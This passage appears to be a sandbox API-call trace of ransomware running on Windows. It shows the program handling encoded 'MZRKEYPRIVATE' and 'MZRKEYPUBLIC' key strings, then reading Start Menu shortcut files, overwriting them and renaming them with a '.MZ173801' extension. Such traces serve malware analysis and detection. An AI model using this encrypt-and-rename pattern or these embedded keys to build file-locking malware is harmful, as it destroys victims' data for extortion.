diagnostics tool.lnk")) returned 0x20 [0213.466] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk", dwFileAttributes=0x80) returned 1 [0213.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.628] GetCurrentThreadId () returned 0xab4 [0213.628] GetCurrentThreadId () returned 0xab4 [0213.628] GetCurrentThreadId () returned 0xab4 [0213.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.635] GetCurrentThreadId () returned 0xab4 [0213.635] GetCurrentThreadId () returned 0xab4 [0213.635] GetCurrentThreadId () returned 0xab4 [0213.635] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.635] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.635] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.635] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x474 [0213.635] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.635] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x474, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x474, lpOverlapped=0x0) returned 1 [0213.646] CloseHandle (hObject=0x330) returned 1 [0213.647] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.648] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x474, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x474, lpOverlapped=0x0) returned 1 [0213.649] CloseHandle (hObject=0x330) returned 1 [0213.649] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk.mz173801")) returned 1 [0213.650] GetCurrentThreadId () returned 0xab4 [0213.650] GetCurrentThreadId () returned 0xab4 [0213.650] GetCurrentThreadId () returned 0xab4 [0213.650] GetCurrentThreadId () returned 0xab4 [0213.650] GetCurrentThreadId () returned 0xab4 [0213.650] GetCurrentThreadId () returned 0xab4 [0213.650] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2782ec, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2782ec, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2782ec, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="ODBC Data Sources (32-bit).lnk", cAlternateFileName="")) returned 1 [0213.650] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.650] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.650] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2782ec, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2782ec, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2782ec, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x474)) returned 1 [0213.680] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk")) returned 0x20 [0213.680] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk", dwFileAttributes=0x80) returned 1 [0213.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.682] 